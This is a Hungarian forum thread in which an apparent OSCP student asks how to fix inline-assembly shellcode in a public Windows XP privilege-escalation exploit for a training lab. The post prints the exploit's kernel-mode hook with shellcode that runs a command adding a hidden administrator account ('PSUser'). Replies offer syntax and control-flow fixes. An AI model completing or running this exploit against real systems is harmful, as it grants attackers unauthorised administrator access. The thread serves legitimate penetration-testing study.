mingw, c+inline assembly

 ( detritus | 2011. április 26., kedd - 11:46 )

Sziasztok!

Disznóságnak tűnhet, amit kérdezni akarok, ezért elmondom, mihez kell. Az oscp nevű tanfolyamot csinálom éppen, ami betöréstesztelők számára indul. Ehhez tartozik egy vpn-en elérhető belső labor, ahol by design sebezhető szerverek tömkelegén lehet gyakorolni a tanultakat.
Ezen szerverek közül az egyiknél sikerült már shell-t szereznem, de csak egy nagyon korlátozott jogú felhasználóval. A szerveren Windows XP fut. Az adminisztrátori jogok megszerzéséhez tehát jogosultságszint-emelést kéne végrehajtanom. Több local exploittal is kísérleteztem már, de ezek rendre nem működtek.

Most találtam egyet, aminél a PoC úgy tűnik, sikeres. Az exploit itt található: http://www.exploit-db.com/exploits/3755/
Ebben a kódban van egy hook nevű függvény, ami úgy kerül meghívásra, hogy a sebezhetőség sikeres kihasználása után a benne lévő kód kernel módban fut le. Több shellcode-ot is megpróbáltam ide beilleszteni, de ezek rendre elbuktak. Úgy gondoltam, mielőtt teljesen elvetném ennek az exploitnak az alkalmazását és más utat keresnék a privilégiumszint emeléséhez, megpróbálok tisztán assembly-t beilleszteni, és nem már lefordított kódokkal bűvészkedni.

Az assemblyhez nem értek, ezért google. Találtam is egyet, ami pont azt csinálja, ami nekem kell, itt található az oldal közepe felé: http://projectshellcode.com/?q=node/20 (adduser.asm)
Ezt kicsit alakítva és beillesztve az exploitba most így néz ki a hook függvényem (az exploit többi részéhez nem nyúltam):

hook (HANDLE pal, COLORREF couleur)
{
// INT3
// Executed code with kernel privilege

// http://projectshellcode.com/?q=node/20
asm (".intel_syntax noprefix");
__asm__ ("cli");
__asm__ ("jmp short GetCommand ;\
CommandReturn: ;\
pop ebx ; \
xor eax,eax ;\
push eax ;\
push ebx ;\
mov ebx,0x7c8615b5 ;\
call ebx ;\
xor eax,eax ;\
push eax ;\
mov ebx, 0x7c81ca82 ;\
call ebx ;\
GetCommand: ;\
call CommandReturn ;\
db ""cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"" ;\
db 0x00");

__asm__ ("sti");
asm (".att_syntax noprefix");

flag_test = 1;

return (TRUE);

}

A fordítás linux alatt történik az alábbi parancssorral és hibaüzenettel:


$ pwd
/root/.wine/drive_c/MinGW/bin
$ wine gcc -o privesc.exe /root/gdilocalpriv.c -lwsock32 -lgdi32
C:\users\root\Temp/ccJbcaaa.s: Assembler messages:
C:\users\root\Temp/ccJbcaaa.s:11: Error: no such instruction: `db cmd.exe/c net user PSUser PSPasswd/ADD&&net localgroup Administrators/ADD PSUser'
C:\users\root\Temp/ccJbcaaa.s:11: Error: no such instruction: `db 0x00'

Két napig próbáltam trükközni és google-zni, de rendre ezt kapom, a db-t nem akarja ismerni. A kérdés tehát, hogy mit lehet ezzel kezdeni? Mint írtam, az assemblyhez nem értek, így lehet, hogy nagyon butaságot kérdeztem.

Most, hogy ezt így leírtam, eszembe jutott, hogy akár C-ből is létrehozhattam volna a felhasználót assembly nélkül, ezt ki is fogom próbálni, ha oda jutok, viszont a fentiekre a megoldás akkor is érdekelne.

Ha pedig van itt véletlenül valaki, aki mostanában csinálja az oscp-t és van kedve közösen tanulni, írjon egy pm-t. (Azt meg se merem kérdezni, hogy van-e olyan önként vállalkozó, akit időnként zaklathatnék ilyesmi kérdésekkel; nem vagyok se lassú felfogású, se pióca, csak vacak dolog napokat szenvedni részletkérdéseken, mint amilyen valószínűleg a fenti is, ahelyett hogy a laboridőt hasznosabb dolgokra fordítanám.)

Köszönöm a válaszokat!

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

ez így nem fog menni szerintem
> Sol omnibus lucet.

Igen, gondolom, már csak a beégetett memóriacímek miatt is, de egyelőre még fordítani sem sikerül.

-----
A problémáim velem kezdődtek és utánam megmaradnak. Ez az én hozzájárulásom az Emberiség Nagy Művéhez.

lehet, hogy az assemblynek nem db-vel kell definiálni az
adatmezőt.

> Sol omnibus lucet.

:fejvakar:

Ketto gond van ezzel. Az egyik, hogy ha itt ertelmes valasz szuletik, azt - a forum nyilt jellege miatt - rossz szandeku emberek is felhasznalhatjak sajat exploitok irasara. Emiatt en mindenkeppen aggalyosnak latom a kerdesre a valaszt.

A masik, hogy szerintem a mingw korlatozottabb fordito, mint a sima Gcc. Erdemesebb lenne VS forditoval probalkozni, Windowson (ha mar windowst torsz). Celszeruen a Visual C++ Express verziojaval lehetne probalkozni.
--
Ki oda vagyik, hol szall a galamb, elszalasztja a kincset itt alant. | Gentoo Portal

Az első felvetéseden gondolkoztam én is, de végülis a linkelt exploit-db.com-on is tonnányi, kulcsra kész exploit van, szintén teljesen nyilvánosan, másrészt ez egy viszonylag régi darab (MS07-017, ami persze nem jelenti, hogy adott esetben ne lenne felhasználható).

VS-sel próbálkoztam, úgy emlékszem, az assembly ott átment, ott a C kóddal volt valami olyan, amibe szintén jobban ásni kellett volna, annak nem néztem utána, de ha az következik, akkor persze megteszem.

-----
A problémáim velem kezdődtek és utánam megmaradnak. Ez az én hozzájárulásom az Emberiség Nagy Művéhez.

Csak nem birtam ki. :)

1. gcc-nel at&t es nem intel szintakszis van asm kod eseteben alapban. A ket kulon asm blokkba pakolt prefix fene tudja mit muvel, en nem kiserleteznek ezer kulon blokkal.
2. a fenti kododnal nem a fix cimekkel van baj, hanem a db-re hisztizik mind a ket esetben.
3. az asm betet osszes contrait-je hibas, hianyzik, etc. gcc doksit erdemes atolvasni ez ugyben.
4. semmi baj sincs gcc-vel windows-on, mingw-vel sem. Sot, helyenkent ehetobb kodot fordit, mint az ms vc.

---
pontscho / fresh!mindworkz

Köszönöm, hogy nem bírtad ki :).

Mint írtam, nem vagyunk barátok az assemblyvel, vakon raktam be a kódot, amit a neten találtam, de most írtál pár kulcsszót, amin el tudok indulni.
(Például rögtön találtam is egy ilyet: http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html )

-----
A problémáim velem kezdődtek és utánam megmaradnak. Ez az én hozzájárulásom az Emberiség Nagy Művéhez.

nem "" hanem \" kell ott a végén a cmd hívásnál

+1

Definiáld a stringet C-ből, asm-ből csak hivatkozz rá (lehet, hogy kelleni fog egy _ a változó neve elé). Egyébként meg ez a kód elcrashelteti mindenképp a gépet, merthogy:
1. átugorja a szubrutint, az azt hívó kódra
2. a szubrutinból nincs visszatérés, hanem ráfut az önmagát hívó kódra, ergo végtelen ciklus, míg a stack be nem telik (persze lehet, hogy pont ez a cél).

Off:
Nem gondoltam volna, hogy ilyesmit lehet/érdemes assembly nélkül oktatni...

"...handing C++ to the average programmer seems roughly comparable to handing a loaded .45 to a chimpanzee." -- Ted Ts'o

Próbáld így:
db 'cmd.exe ...'; \
db 0x00");

Nem lesz stack overflow, mert pop ebx-szel kiveszi és eldobja a string offszet címeként felhasználja a visszatérési címet, amúgy is kilép ExitProcess-szel (0x7c81ca82);

Az assemblyhez nem értek, ezért google.

Két napig próbáltam trükközni és google-zni, de rendre ezt kapom, a db-t nem akarja ismerni. A kérdés tehát, hogy mit lehet ezzel kezdeni? Mint írtam, az assemblyhez nem értek, így lehet, hogy nagyon butaságot kérdeztem.

Ez így nem fog menni. Vagy találsz olyat, aki pont a te problémádra a te környezetre írt "megoldást", vagy megtanulsz assemblyben programozni.

A problémádat kb. ahhoz hasonlónak érezném, mint amikor az autószereléshez nem értő jelölt sikeresen kikombinálta, hogy dugattyút kéne cserélnie az autójában, majd guglin keres képpel illusztrált step-by-step leírást "for dummies", amiben pont az ő autójának dugattyúcseréje van leírva, merthogy ezt akkor ő odahaza, saját kezűleg.